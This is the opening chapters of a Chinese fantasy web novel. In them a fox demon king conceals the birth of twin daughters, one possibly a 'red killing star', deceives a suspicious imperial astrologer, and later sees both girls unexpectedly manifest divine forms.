《妖宫红杀星》
1. 序言
世间万物想要成神有六道可修,佛修心,道修境、仙修体、鬼修魂、魔修气、妖修灵。
万物修行择一道而修行。每道所修法各有不同,六道虽以成神为共同目的,但也相互克制忌惮。修士们都知道,埋头苦修积攒修为和直接夺别人的修为一比,后者很明显比较轻松,于是就有胆大的修士富贵险中求。如此大逆不道的反派行为,必然就会有正义的一方克制,于是敌敌我我相互纠缠。
你杀我往总归会出格,三界又孕天星护道,天星是护道的天神,被天星承认的万物,无论对错,天星会以天道之法庇护。
天星坐镇天上宫位护道,各司其职,有护有杀,各有不同作用。虽天星多,但坐宫位置不变,渐渐形成了天象。如果三界有大变故,天星移位,天象就会有不同,所以
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有能问天的特殊之人根据天象判断事情发展趋势,称观星师。
天上有无数天星闪耀,可千万年才有一颗天星出世,还要再花千百年修神识。妖宫位甚惨,天星甚少,不知何时,妖宫就在孕育天星了。
可是天星修识也要修行,你问难吗?可难可不难。你问能成吗?这就得看造化了。你问天星是好是坏?那得看天星要干什么了。
2. 一子变两女 妖王辩国师
还差三年修满千年的黑狐妖王白魅看着白狐妖后白芊芊腹下的两只小狐狸崽子陷入了沉思。
按理说他道行不浅,虽然他和白芊一直修行没要过孩子,没有怀胎经验,但他用修为探过老婆肚子的虚实,妖宫孕育天星要降世,狐天星也明示过,三重肯定,是一只,没错;国师观星问天,告诉过世人,是一只公狐,没错;大妖生子,得怀满整一年,还有一个月才生,也没错。可现在不仅提前生了,还生了俩母狐,这就错了啊!这是有鬼了,还是他修为不行?狐天星骗表错了意?国师老糊涂了?白魅现在一个头两个大。
突然生子,白芊破了功,现了原形,还在昏迷中,母体本能的圈着两个崽。白魅心疼老婆,也来不及研究俩崽子的身世了,眼下他得保一家老小的命要紧。
大妖繁育下一代,生子既是大妖胚,不算稀奇事,从人的角度来看顶多算大难,谁让有大妖出生会祸世的说法呢,可白魅生子又多了一层关系。一年前,天象有异,人界轩辕氏的国师是个观星师,一会禀告三界说他俩的孩子是天星转世,一会又说此胎异相,恐有祸道风险,搞得所有修士都在盯着他们一家。
其实按照国师的说辞,如果只生一个,那就是天星转世,基本六道会庇护他们,他们一家也会水涨船高,身份提高,生活就有保障了。但现在着了国师的乌鸦嘴,一胎一子变成一胎双女,这让上三道知道了,肯定以各种借口围剿他们,必然是搞得你生不如死,搞得你自己消亡。迫不得已,白魅决定烧修为把洞穴结个天道保护界,都别想知道生孩子的细节,躲一时是一时。
怕什么来什么,大妖生子瞒的了细节,瞒不了结果,六道正派人赶过来看个究竟。
第一个站在洞穴外,带了两车人间补品的就是那个乌鸦嘴国师,白魅现在看见他就烦。
三界里只有人皇氏的国师不仅会观测天星还会问天术解天象。一年前,国师发现妖星宫大放白光,坐镇守护妖道的狐天星多了一道光圈,有慢慢凝成光晕之势,国师用问天术推测,妖宫天狐星可能要转狐大妖降世,出世既有大修为,可振妖道。
其实这是个好天象。星象耀光有七色,金、紫光最闪,主祥瑞;白、青、绿光属柔色,主生机,其中白色主渡,这说明妖道这次出生的大妖会带领妖修们提升妖道修为,离成神更近一步;而红、黑最深,主杀伐,尤其红色,红光一出,必出杀天星。
所以妖宫天象在白狐星闪白光时,国师奔走相告六道,说是好事。然而,白光闪耀了几天后,在妖星宫正北偏南的边缘又闪起了红光,就好像多了颗红星一样。那红光闪烁转瞬即逝,国师当时就愣住了,在妖星宫出红光,三界没有人不忌惮的。纵观整个天空,从未出现过红黑天星,尤其是妖星宫。妖道一直是好斗,是个为了修炼好惹事的道门,因为护星不多,索性其他五道皆能抑制。妖星宫可以出除黑红两色任何一色,唯独不能出红黑天星,善斗道门,再出杀星护道,这是要洗清三界节奏了。
站在国师的角度来看,这世上有或多或少不想且不能成神只想好好活一世的人和万物,不想成为妖魔鬼的修炼资源,就得寻求各方庇护,所以世间以人为尊,不愿修行的人立国,国王即人皇,天道予人皇天道制衡六道从而保护百姓。其中最繁盛的无忧国人皇命国师观天象随时直晓六道大势情况,熟知星象是国师基本功,熟记每颗星星的位置也是理所当然。妖道祸人最频繁,所以国师也格外关注妖星宫,他看了三十年有余的天象,说这一闪是眼花,他不信。
他先后又观察了近一年,红光再没闪过,但红光闪过的位置始终有种不仔细看就看不到的淡淡红气,看不到天星的雏形,大妖产子在即,国师有些心神不宁。
一个月前,妖星宫的红光突然异闪了两下,引得狐天星锃亮通圆,又暗淡下去,大妖提前出世了。红光闪烁,天星降世,到底是要出乱世妖星?还是护道的天星呢?国师有些气恼,红光闪个什么劲!你这个大妖到底能不能好好生了?这让他怎么向三界通报天象?
他和人皇轩辕氏思虑再三,决定以人皇身份去看看白魅,妖祸世,虽然祸不到人皇,但人皇要顾子民,提前探虚实也好应对。
几车补品都是按人间娘子坐月子那般准备的上乘补气血物,其实要说妖最好的补品,就是人的精魄,但人失了精魄也活不成了,所以不能祭人是人与妖之间的底线,几车补品不能送到白狐夫妇的心坎上,国师也不在乎,索性有总比没有好。
在洞口等了许久,白魅才不情愿的从结界里出来,国师早就等急了,立马开口跟白魅阐明来意:“大妖出世,子民无辜,我是无忧国国师,人皇轩辕氏派我前来送些补品,祝喜得一……子?”
国师有人皇旗是不怕妖的,此次来他有自己的任务要完成,但说来贺喜,得有贺喜的态度,人妖一直不合,人妖之间也没啥相互贺喜的经验,国师只能按照人的方式尊重白魅了。
“修炼一万年了,我有分寸,乱杀人三道会放过我?其他妖你们也这么送?”白魅不惯国师,本来这会就心烦,哪有精力跟他客气。
白魅清楚的很,试探就试探,人就是会做样子。生一个变俩,他也害怕,妖道有异象,红光主杀,佛道人三道可以以“大妖祸世”为由正大光明集天星之力灭他们,鬼魔妖三道也可以乘机捡漏,合力杀大妖分掉修为,怎么都赚,以此弄死他们一家,甚至一族都名正言顺。
真是笑话了,他们夫妇俩一直本分修行,刚出生的小狐崽能祸什么世?他白魅夫妇虽然修行万年,偶尔祸祸人间,无非是用点手段收点精魄涨点修为,又不弄死人,虽不要脸但不伤天理。活了一万年,躲过无数次围剿,就不能对围剿他们的事死心吗?何况这次生子有狐天星明示,有天道护着,天宫异象关他什么事,又不是他想要异象的,眼下有理也没法说,没人听的。他现在唯一能确定的就是生子异象不能绝对成为灭他们一门的理由。
“天象有异,人界最怕大妖祸世,人与妖有合也有不合,人有无辜,小祸可说人心不稳,自有三道除妖,大祸无辜之人自有天罚。天道要人皇庇护非修行生灵,他让我来又不是为了讨伐你生子,你莫要这么抵触,人皇只想护世人罢了。”
“祸世?你看见我的狐崽祸世了?你也说妖祸世祸的是人心,你救世就最好磨磨你人界的人心,怎么就那么容易被妖迷惑?你管我生子?”
“异象!异象!异象!谁管你生子了?管你生子,一年前不管你?你说话这么冲,怎么,狐天星降世还要你反天了?”
“……”
白魅被一顿骂,刚刚还急躁的心情被国师有理据压的平复不少。确实,天狐星降世,他老婆生子,本来一切都是好事,也不知道哪里出了问题,一只公大妖提前生,变成俩母大妖,他怎么才能圆过这个不合理的现象呢。
白魅飞快的思考着怎么解释回答国师的话,他并不在乎国师一直担心的红光。真的是红杀星出世
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,对于其他五道而言是乱世乱道,可对于妖道来说确实主杀伐的武星。现在的情况棘手,三界都知道只有一个不乱世大妖出世,如果说生了俩,那必然他们会以一个为乱世妖为名除妖,除哪个都不会让各方满意,两个都除可能才是现实。妖道几万年了一直无法再更深递进,好不容易才有这么一次天星耀道,妖道有望借此提升的希望不能就这么没了。思前想后,白魅决定隐瞒数量,如实说其他的。
“其实,还有一个月才会生.....,但现在提前了一个月生,这我也不知道为什么”
“呃……小狐崽没有异样?”国师看出了白魅话没说干净,眯着眼又继续追问。
“有,是一母……狐”
“嘶,一子变一女?那确实有异,我能看看吗?”国师听到这里反而不着急了,站直了身子,摸着长胡须,试探的问起。
看看?你开玩笑呢吧!白魅心里骂了国师不知道多少句,又不得不冷静的拒绝道:“……国师请回去吧,没有大妖祸世,除非人间大乱,天道盛世妖不出行的。我妻子提前发动,这会修为散了,还在昏迷,烧修为结界也是迫不得已。芊芊现在不方便,等到她恢复了,孩子自然会出来见人。”
不让看就是有鬼,白魅这个天道结界有些作用,谁都没窥得里面发生了什么,一子变一女,都是白魅说的,国师没看见回去也不好说,但这会国师一点也不着急了,慢条斯理的说:“人皇旗带天道修为,不用你打开结界,我执旗……”
听国师意思想要进结界查看,白魅急了眼,没压住火气,破口大骂起来:“妖祸世,天道罚,我们一家认,你来就来,张口祸世闭口祸世,你有本事引天雷来劈死我!修妖道不低贱吧?拿着人皇旗羞辱我?人间生子,你也端着人皇旗闯进人妇人屋里,大喊看看你刚生娃的老婆?”
“你!我话是这么讲的?”话糙理不糙,但白魅这话也太糙了,好好的人皇旗给他说的像是什么无耻泼皮之物,国师气的够呛,一手捏着人皇旗端端举着,一手气的扣着宽大的袖口,瞪着白魅。
人皇旗压六道,这么口不择言,多少有点不尊重了。白魅说完话一瞬间也有点尴尬,这会正在烧修为结界,真要扛人皇旗的压制,他拼了万年的修为也护不住妻儿。他想了想,往后一步,深鞠一躬,语气无比虔诚的说:
“国师,回去吧,当前我妻子确实不方便,修妖道自然知道什么是天理不容,小女已生,于情于理是得接受视察,但我妻修为还在恢复,我不能让她有闪失。退一步讲,真是祸世妖,我烧干修为也护不住。您是天道认可的观星师,想来你不会错,可我妻子不能莫名背了祸世妖的罪丧命,不如就等一段时间,公道自在人心。”
白芊也是修为颇高的大妖,夫妻俩活了这么久,一直是一些修士抢夺修为的香饽饽,只是打不过罢了,这会儿因为生子修为乱散,可不就是收服的好时机。国师知道白魅这么说很有理,再纠缠就是他的不对了。其实国师也不想再继续讨论下去了,身为观星师,要说实话也有不能说的话,他的任务已经完成,现在只要结个尾就能回去复命了。
“这些都是人间大补佳品,收着吧,生孩子嘛都大差不差。是我刚才态度激进了,人能力本就在妖之下,人界生灵百万,人皇得怕。”
“嗯,我懂。我就不送了,小女必不可能大祸人间”看国师态度缓和了,白魅嘴上恭敬,心里也轻松不少,甚至还嘀咕了一句:嗯,小祸你也别怪我。
3. 妖王祭亲哥 双子成定局
一整天,白魅应付了各个道门的试探,好在修行颇高,结界也算是震慑住人,除了国师再没有找茬的人,但似蒙哄过关不是长久之计,如果真要仔细推敲,白魅也明白把一子变一女归咎是异象也只能勉强说得过去,还是要等白芊醒了问清楚,在找到解决的办法才行。
短短一会儿的时间,东西堆满了洞穴,有人皇送的千年大参、百年灵芝的珍贵药草,鸡鸭鱼鹅等吃食;有仙祖送来的灵泉水、仙丹等仙物;佛门大寺送了一盘功德化的佛香;道门天师送来了安神汤;鬼王送了固魂灯;魔届不成气候,不知道什么时候偷摸着送来个鼎,看起来是提升修炼的宝器;万妖最开心,直接让了一处灵气宝地,让白魅随时搬过去。东西是满满当当的,这些搭配起来层次分明,丰富又有点不伦不类。
白魅看着这些东西都被气笑了,他修行千年想都不敢想的好东西,现在争着给他送来,努力了近千年还不如他生了一个天星转世的孩子有面子。托贵子的福也罢,偏偏就这样还出了幺蛾子,他一个千年的狐妖洒脱了一辈子,生贵子来不及高兴就要担惊受怕的,真是特么叫什么事呢!
白魅这边越想越闷,一回头,白芊醒了。
白芊看着满洞的东西,又感受到白魅烧灵气顶的结界,懵了。原本他们夫妻俩晃悠着想找适合的地方待生,就那么一瞬间的事,肚子突然发动了,趁着最后一丝清醒才跑回到狐洞,然后她俩眼一黑就什么也不知道了。白芊还在努力回忆生孩子的事,怀里蜷缩的两只狐崽感受到了母亲的苏醒,一拱一拱的。
白芊这才注意到怀里的两个狐崽子,思绪又乱了,一惊一乍,一股脑话全蹦了出来:“都是我生的?两个?刚才也不知道怎么了没了意识,怎么多了一个?嗯?都是母的?我儿子呢?不是天星转世吗?这个天道结界怎么回事?又有六道追……?唉?这些东西哪来的?”
杀字还没出口,硬让白芊憋了回去,被追杀对妖来说是常事,为了修炼惹其他五家常事,但这么多东西显然不是白魅能在一瞬间变出来的,只能是别人送来的,白芊还是头一回感受如此好待遇,她现在有些受宠若惊,早说生子有些待遇,她起码也要一年生一回!
“嗯……天星转世,六道送来的贺礼”白魅更愁了,拉倒吧,白芊能理清眼前的情况都不错了,比他还懵。
“不追杀就好,有天星护着,总归是好事,妖道也是道”白芊感受到了白魅心情不好,沉默了一下,静下心来恢复了神志,千年的妖反应就是快,白芊很快就发现了问题,为了缓解气氛,安慰着夫君。
白魅叹口气,解决办法还没有头绪,结界外面就传来淅淅梭梭的声音,白魅辩听了一会,朝门口一挥手,一白一棕两只狐狸就被拉扯进了结界,白魅没好气的说:“你偷摸着来干什么?”
拉进来的两只狐狸是白魅的哥哥和嫂子,也是俩大妖狐,兄弟俩的性格完全不一样,他哥可一点也不稳重,三界里到处惹是生非,人人喊杀,活这么久全靠跑得快。白魅为了避嫌,早就告知三界的修士,与夫妻俩划清了界限。不久前又听说他俩闯下了大祸,惹了个清修的道士,不仅把道士祸祸死了,还在打斗中毁了人家道观,道观起火,好死不死连带烧了十几个离得近民房,死了几十人。这是在人界可是大祸,上三道一直在杀他。
俩只狐狸全身是伤,毛发被血打湿,一缕一缕的,看着狼狈不堪,棕色那只狐狸显然已经死了,鼓鼓囊囊的孕肚凸显出来,让刚刚生完孩子的白芊看的触目惊心,白色的狐狸始终叼着棕色狐狸的尾巴,萎靡的蜷缩在地上,泪眼婆娑的看着白魅呜咽着,都没有力气变成人形回话。白魅感受到哥哥妖核已损,也是活不了不多了,他本要指责他哥不死远点,还要过来添乱,话没说口就鬼使神差的眼睛盯着棕色狐狸的肚子出了神。
白魅越看思绪越清晰,渐渐地心里有了一个大胆的想法。怎么能避开六道护着这俩狐崽,最好的办法就是得有所牺牲,他没有好人缘,也不敢让别的妖知道,现在亲哥自己上门来,正好能利用上。妖道修行本来就不易,六道相互看不顺眼,妖修们想要提升修行只靠天地灵气得几万年,还动不动就停滞不前,妖修们被这种失望逼疯了不少。他哥也是这个情况,所以才会到处打架杀人抢灵气,不分轻重的惹祸。反正都是要死,不如让他为红杀星背个锅送死,还算值得。
哥嫂二人主动求死偿还罪孽,留下遗腹子给弟弟照顾,遗腹子无辜,他白魅顺理成章的保护她长大,这套逻辑真真是刚好破局。哥哥一死,死无对证,他一口咬死,谁也没办法再拿红杀星的借口找事,真要有较真的逼他鱼死网破,那就试试看。想到这里,白魅轻松了一些。
别说妖没有兄弟情,他哥和嫂子被六道追杀一个命殒,一个损了妖核,就算他白魅能救他一命,没了妖核的他苟活着也再无修炼飞升的可能,不如就救一救小侄女,救一救他这个弟弟。一想到以后妖道将有两颗天星护着,白魅越来越坦然,一挥手功夫生生扭断了地上那只白狐狸的脖子。
和白芊通好气,再把哥嫂尸首挂再门口来示众,又布告了想好的那套说辞,确定三界都知道了,才发现折腾了整三天,夫妻俩悬着的心放下了一半。白魅烧着修为结界,已经是筋疲力尽,夫妇俩小心翼翼的搬去万妖让出来的灵气宝地,没日没夜的死死守着这俩狐崽子,盼望着他们赶紧长大。
瞬息十五载。
万妖给他家选的灵地是整个妖界最丰富的深山里,这座山正好也是人界妖界的边界山,灵气充足,物产丰富,白魅一家在这里过的也算是潇洒自在。靠着宝地灵气和当时收到的一堆宝器礼物,两只小妖狐修为提升很快,已会化人形,姐姐叫白河,妹妹叫白水。日子平静,一家四口也渐渐温馨起来。白芊在世间游走那么多年,祸祸过无数生灵,但她从来不对人类女童下手,尤其是喜欢十五六的小姑娘。打自教会白河白水会化形后,她彻底成了女儿奴,每天都在两个女儿身上做研究,好看的衣服、好看的发饰、好看的妆容等等,恨不得一古脑全堆在白河白水身上。白河白水被折腾烦了,一有机会她俩就穿着粗衣披着头发躲开白芊,放飞自我。
娘仨没心没肺,可怜白魅每天是担惊受怕。戏做全套,夫妻俩对外从不区分白河白水哪个是哥哥的孩子,更是假意说都是自己亲生孩子,明里暗里的表达他们是故意混淆连个孩子,为了保护天星转世的真
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狐崽。其实白魅也没底,用他哥哥命换来的孩子身份,只能是能骗多久就骗多久,他最害怕的就是国师,会问天术,这种漏洞百出的伎俩哪里瞒得过天呢。但人皇那边再无动静,国师自那次来确认是个母崽后,就再也没有公布任何天象,只是一味让三界修士静等白狐王的孩子长大,无形中算是认可了白魅说法,为他省去了不少麻烦事。
没生白氏两姐妹之前,白魅就是个修炼到家的老妖,虽有名,但并不是最顶端的那种,既不是尊贵的上古神妖血统,也不是拉盟结派的妖王,所以他很少社交,朋友也少。现在的他因为白河白水,妖修要和他拉拢关系,其他道门又盯着他,对两个孩子的身份耿耿于怀,百般试探。白魅过得那叫一个心力憔悴。
好在十五年间,他们本本份份修炼,其他道门找不到借口剿妖。白水白河也渐渐到了不需要白魅再寸步不离的地步,这才稍稍让他松了口气。白魅也不能确定她俩谁是大妖,谁是红杀星,只能是慢慢着看各自的发展再判断。
说来也怪,白河白水俩姐妹虽容貌相似,可品性天差地别。妹妹白水天资聪慧,万事皆通;姐姐白河直来直去,带着天生的顿感。顿不是说白河不聪明,而是她如一张白纸一样,写什么才能是什么,不写就是空白。比如,作为狐狸,妹妹起码天生会舔毛,会喝奶,会奔跑,会叫;可白河永远慢半拍,就好像白水给她做完示范了,她才会。就连发出的第一声,也是白水呜呜叫了,她才跟着叫。
当初说白河是哥哥的遗腹子,各道门多少有怀疑,可不管怎么试,白河即不像白水有天生的修为,也不像寻常狐狸那样没有神识,怎么看怎么都是个完全不值得天降异象的妖之子。也恰巧因为白河顿顿的天然呆,三界修士想以她爹娘作恶多端斩草除根的理由也站不住脚,剿杀什么也没做的孩子有悖天道,各道门不想承担枉杀的因果,只能干看着。
白河渐渐长大,顿感渐渐轻了些,只是做事说话从来不讲规矩,想做什么一定会去做,想说什么一定会说,经常呛的夫妻俩大眼瞪小眼拿她没办法。
白魅觉得这俩孩子很怪很怪,可说不出来理所然来,白河天生有一股无欲无求的状态,不说话的时候又自带让人敬畏的压迫感,白魅有一种感觉,白河像是再等什么来找她,等什么呢?事情?人?东西?白水更诡异,跟在白河身边简直像是一魂分两体,白河不管做什么事白水总能在旁边做好接应,白河不管说了什么话,白水总能帮她完善,两个人的默契已经细节到令人恐怖的地步。白魅参不透。
白芊倒是无所谓,教一个是教教两个也是教,白河学什么都快,无论教什么,她看一篇就会,根本无须讲解,她轻松自在。十几年来,白河直来直往,不懂变通,其他倒无异,加上白水这个神助手,白芊懒得深究,白魅也无法再抓住更多的线索深思。日子就只能这么过着。
有一点夫妻俩人倒是十分同步,白河善斗白水善思,天份不浅,再有两只功力深厚白狐大妖肯传授本事,不需要修炼太久,必然是修士界数一数二的,可夫妻俩只教皮毛,从不提及修炼的事。来访众多修士,一眼就能看明,也都心照不宣的不提,不知葫芦里卖的什么药。
4. 神裔显血脉 姊妹学神通
这天,又几只大妖来找白魅,白河和白水趁机躲开了白芊换装折磨,跑来离家不远的河边玩。小河不宽,俩姐妹在河水抓鱼捡草玩的正悠哉,一撇眼,山下风尘仆仆的来了个妖。那妖老远就看见了她俩,直勾勾奔着来了,不一会就停在她俩面前。只是定定瞟一眼,白水立马就拉着白河站了起来,微屈了身子,虽然整个身体直立,可一看就是恭恭敬敬的,白河不解,也跟着站好。
来的这只妖跟她俩差不多年纪,一般高,站稳后就行了抱拳礼,三只妖站在那里,对比明显,白水白河那真的浑身哪哪都是格格不入。平时俩姐妹都是被白芊打扮的亭亭玉立,好死不死,就今天蓬头垢面的见到了生妖,还是这么好看的妖。
白河白水,浅灰粗布短裤采衣,光脚带泥,垂髫净面,因为玩水撸起的袖子皱巴巴耷拉着;再看看人家,粉红绸子儒裙采衣,白鞋绣云,总角箍金还飘着两条红发带,红唇剑眉,眉间点红莲,脖戴金锁,抱拳行礼时漏出半截胳膊,右边戴两只白玉镯子,左边戴两只翠玉镯子。纵是对方有意低调,可“非富即贵”的气质也是满的溢出。白水踩了踩地蹭脚上的水渍,有点不好意思的朝对方笑笑。
对方满脸笑意,原本就面容妖媚,身姿翠拔,这再一笑,简直倾国倾容,尤其细长的眼睛,眨巴眨巴的,媚的出奇。踌躇片刻后,对方先开了口:“两位有礼。我叫妲菁菁,我祖奶奶九尾狐王让我来拜见白狐王,你们可知道怎么去他家吗?”女相男声,这一开口,白河瞪大了眼睛,原本白水对这只妖的态度就让她奇怪,现在又听到长这么好看的人发出男子音,直觉告诉她眼前的这只妖,不合理。
“整个山就一个木屋,在这就能看见,我得怎么跟你指才合适呢,难不成你瞎……唔”白河直来直去习惯了,嘴一张就是回怼,她还理所当然的认为妲菁菁的不合理是不是瞎。
“我是白水,她是白河,我父白狐王正在家待客”白水慢了一步,赶紧捂住白河的嘴,也是无语了,人家这么明显委婉的找话示好,姐姐怎么这么直的!
“哈哈哈,是我问的不对,我第一次上门拜访,还在羞于如何和白狐王开口,我看两位妹妹同龄,想求你们引个路,嘿嘿......”妲菁菁被怼的尴尬,但没有失了礼节,赶紧解释起来。
从看见俩人开始,妲菁菁对二人的身份就心里有数了,对话间暗中观察了俩人几眼,但看不出什么特别之处,倒是验证祖奶奶的临行前叮嘱。来之前祖奶奶就跟他说了俩姐妹的大概情况,说白水聪明,白河钝直,让他说话要直接不要拐弯抹角,他刚刚也斟酌了半天词才开口,可还是被白河呛住了,他算是见识了“说话不要拐弯抹角”的用意。妖和人不同,人三岁才开智,五岁才启蒙,妖之子出生就开智,最晚三岁得启蒙,他顺理成章的认为白河十五岁了,再顿直也是懂正常妖情罔的。是他大意,想的太理所当然了。
“有礼了,九尾妖王来访自是贵客,我这就引你去见父王。”白水恭恭敬敬的接了妲菁菁的话。
“别礼不礼了,咱们一般大,同是狐妖,叫我名字就行。我来拜访白狐王主要是关于天星之转世的事......嗯.......也就是来看你们俩.......交朋友的......”白水话语间都是礼数,妲菁菁被白河怼了一次,此刻整个人有些拘谨,急忙拉近关系缓和,但这会他可不敢再藏话,把自己的想法目的直说了出来。
“我俩这邋遢妖样,见笑啦,走吧,我带你去见我父王”白水客气了一下,就拉起姐姐,引着妲菁菁向家的方向走去。
从小河到家不过白余步,三只妖走的不快不慢,白水和妲菁菁相互客套尬聊,白河一言不发,憋的脸铁青。妲菁菁越看越发怵,最后看不下去了,两步上前拦住白河,絮絮叨叨起来:“白河,有话你尽管说出来吧,我真的只是来看看你们。传你们天星转世,会带妖修行飞升,我专门求了祖奶奶过来跟二位学习,是我刚才说话扭捏,我本意并不是藏藏掖掖,是我下意识的认为......”
“你一个男的为啥叫妲菁菁?真的这么好看,为啥穿着这么女孩子气?”白河憋了一路,终于是发现这只妖哪不对了,他一个男的打扮的像个姑娘,名字也是个姑娘名,十五年来头一回见,这超出了她认知,她不理解为什么,又因为白水给她使眼色不让她说话,憋在心里难受所以铁着脸,这会妲菁菁先开口,正好给了她开口的台阶,所以没等妲菁菁说完话,就迫不及待的开了口。
“……”
这话一出,三个人都安静了,妲菁菁有些错愕,他以为是自己不坦诚的打招呼惹了白河,想不到人家是在那研究的自己妆容,这思维跳的他有些没跟上。
还是白水赶忙打破了僵局:“哈哈,哈哈,哈哈,我姐姐她平时没怎么接触过上古妖族,她不懂,哈哈,菁哥你别......别介意哈,哈哈......”白河一问,白水麻了,尴尬的话都说不利索了。再有默契的姐妹俩也是两个脑袋,白水现在就恨自己怎么不能钻进白河脑袋里,好看看她在想什么。上古神妖一族在妖界众所周知,因神妖血脉,都是自带压制周身万物的威严,打自妲菁菁站到她们面前开始,她身体本能开始紧张。白河反应顿她知道,可你顿的点不对啊,难道丝毫没有身为妖族该有的本能直觉吗?一开口就这么冒昧,白水真的麻了。
“上古妖族?都是这样?”一直以来,白河的顿是对未知的一切都顿,从记事开始,她没有离开灵地半步,来拜访白魅的人形形色色都有,她早就见怪不怪,头一次来上古神妖后裔,还是个公母难辨的,她没见过,她顿的也合情合理。
白水尴尬,妲菁菁也尴尬,但他马上反应了过来,白水替他解释的话没有丝毫缓解白河的疑惑,想拉进和白河关系,这个话题不说清楚是过不去了,有啥说啥吧,让她领神会是不可能了。
“只有我九尾一族这样,我族祖宗上古时炼九尾成神,老祖宗成神时是享誉三界的大美人,所以偏爱女相,喜欢粉粉嫩嫩的女子,我族人穿女衣起女名便更能讨老祖宗的欢心,老祖宗所给予的力量更多,这一传成了族人的习惯。我以为妖界人人都知道,让白河姐姐疑惑了,哈哈”
“上古神妖后裔跟我们有什么区别吗?”行,你穿女装是因为老祖宗喜欢,白河勉强接受了,但既然说到你老祖宗是上古神妖,白河索性干脆一起再多问一句,毕竟白水对妲菁菁的谦和态度和平时大方得体的她有些不一样。
有什么不同?能有什么不同呢?本质上都是妖,无非他有神的背景,背景怎么说,她能理解吗?妲菁菁一时间又卡住了,但他很快想到了一个上古妖神后裔最典型的不同之处:“上古妖族因为有老祖宗成神,所以我们血脉有神格,就好比我们能降神格……”话音才落,妲菁菁中食指并拢敷上眉间的红莲,随后两眼一片白,周身猛然燃起一圈薄红虚光,一只两个妲菁菁一般大的九尾白狐影子与妲菁菁重叠在一起,那白狐影子缥缈,九尾虚飘着,狐眼虽白茫茫,但能明显感觉在盯着白河,连带着妲菁菁向四周散发出带着无比威严的神气。
一瞬间,周围鸟兽皆静,也让三十几步远木屋里正谈说的几个大妖通通噤了声,白魅心里暗道不好,挣脱了压制的神力,化一只白狐猛的冲出屋子,向白河白水跑去。
等到威压的神力散开,白芊几人反应过来,赶到三只妖这里时,狐型白魅
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正挡在白水白河面前呈拜卧之姿,白河白水与妲神格菁菁面面相视。好在妲菁菁只是露神格,没有丝毫攻击意思,几只妖没弄明白,但还是恭恭敬敬的要上前拜卧妖神。
可刚走到白魅身边没来得及跪倒,旁边的白河学着妲菁菁动作双指扶上眉间,一顺间白河周身也泛起了比妲菁菁周身更红更烈的红光,同样一只大白狐也附身而立,附在白河身上的白狐仅一尾,却全眼血红,露出滔天的杀意。
刚刚被妲菁菁神格震慑不敢动的鸟兽,突然发了疯一样四处逃离,连河里的鱼也拼了命往水下钻。在神力威压下,几只大妖全部被迫化了兽形真身,倒退逃了几步,和白河保持了一些距离,呈防御姿态,面露惊恐,旁边的白水一脸默然伸手拉着白河。
白河化神格突如其来,被白水一拉,神力没有持续多久就开始减退,妲菁菁也跟着白河的节奏散开神力,两狐神格对峙不过三五秒间,很快就散的悄无声息。半响,几只妖在确定没有危险后,才化回人型,但几只妖都不约而同看向白魅白芊,白魅白芊也回望着他们,满脸的呆滞。
恢复如常后,白河表情欢快起来不再冷脸,困惑已解满身轻松,而后对着妲菁菁一笑:“谢谢你,我也学会降神格,确实厉害。”说罢还对着指着白水,带有责怪的语气说:“下次别压着我妹妹了,她还没学会,紧张了一路,一会我让母亲再教教她。”
白水听完立马翻了个白眼,白河还是没能理解血脉压制的道理,整这一出得出这么个结论。只是这话让几只妖差点跌倒,白魅更是丈二和尚摸不着头脑,他呆呆的盯着白芊,好像个傻子一样问到:“我夫人......有祖宗成神?.......这个降神格.......也能教?”白芊更傻眼,连连摇头,张了张嘴,都不知道说些什么好。
降神无非有两种情况,一种是自身成神却没有归神位,身背因果还未解决的准神,没有神身,关键时却能暂时降神格提升修为,这样的准神在三界根本就是传说一般的存在,因为总归还是会飞升归神位,所以压根没人见过;一种是成了神,直系血脉后辈享荫福,可以短暂降祖宗的神格借神力。今天来访白魅的几只大妖,分别是虎妖、蟒妖、狼妖、黄鼠狼妖,还有颗修了几千年的槐树妖,几个妖都是千年的老妖,论修为谁也不比白魅白芊差,论年数活的也不比白魅短,不可能不知道白魅白芊的情况。退一万步讲,妖界什么事他们不知道?也从来没听说过白狐王一脉有成神的,没有血脉就不可能降神格,还教?白河这话说出来简直震碎他们的三观。
白水此时不知道该不该出声帮白河解释,她知道白河误解了她对妲菁菁的恭敬态度,可她是被血脉压制的啊,降神格不是她想学就能学的。但白水这个时候却是有了格外的想法,白河会降神格,她和白河一母同胞,她是不是也会?白水是知道降神格的条件的,可白河一番话,她就突然很想试试。
白水伸出两指,疑惑的看了看爹娘,又看了看白河,缓缓指向眉间。也是一瞬间的事,白光轰起,白水两眼发白,同样一只白狐神格降身,这只白狐双眼赤白,所散发的神力温和,让人由衷感到舒服和敬畏,还带着一微微的柔和谦虚的疑惑神色,像极了刚刚的白水。白水神格也是仅保持了三五秒就结束了。白水兴奋的看着白河,白河满意的微仰着脸撇了妲菁菁一眼,妲菁菁就跟被抽走了魂一样,张着嘴巴愣在那里。
几只大妖也疯了,好家伙,开了眼了,一会功夫见到了三只降神格的小妖。他们现在满脑子就一个念头:白狐王有神格从来不露,怪不得能被狐天星选中转世,怪不得之前不和他们这些普通妖往来,是看不上他们啊,他们一家血脉高贵啊!
5. 幼兽相互斗 一笑仇变友
一行人站着也不是办法,白芊招呼着大家回到白魅的洞穴。眼下,这一洞穴的妖都在大眼瞪小眼等着听白魅和白芊狡辩,白魅和白芊机械的招呼着大家喝茶,却只是一脸茫然的忙碌着,对刚才发生的事情还不知道怎么开口。
半晌的功夫,大妖们到底还是没有憋住,打开尴尬的场面,白虎妖小心翼翼的问道:“白魅……,白狐王,不是我说,你族既有成神大妖,怎么不和我们说说呢,嘶......嗯.....是哪位上古神呢?”
白魅沉默好久都没想到怎么解释,这会既然已经有人开口,只能硬着头皮回答了:“我的修为,各位都知道,我一族仅我和夫人两人,我俩人同是巧得机缘兽身成妖,真就没有祖宗呀,我们也不知道她俩怎么就降了神格,降神格这个吧,我们自己也不会.....”
大妖听闻再次安静。
坐在角落妲菁菁眼睛转了转,起身站在中间小心翼翼问道:“会不会是天星转世的缘故呢?”
槐树妖一听也觉得在理,摸了摸胡子,深思道:”如果说是天星缘故,倒也合理。天星本就是神星,白河白水又是天星转世的大妖,降神格倒也合情合理。可是话又说回来,白河白水所降神格又不同……”
白魅听到这里真真的一身冷汗,能跟着妲菁菁的话圆了白河白水可以降神格的疑惑,但神格不同有目共睹,这个时候应了他们挑明说白河是天杀星根本不是时候,那等于是把白河送到三界追杀的境地。这怎么回答,有点难,白魅恨自己不会降神格,不懂其中原理,没办法替白河白水解围。
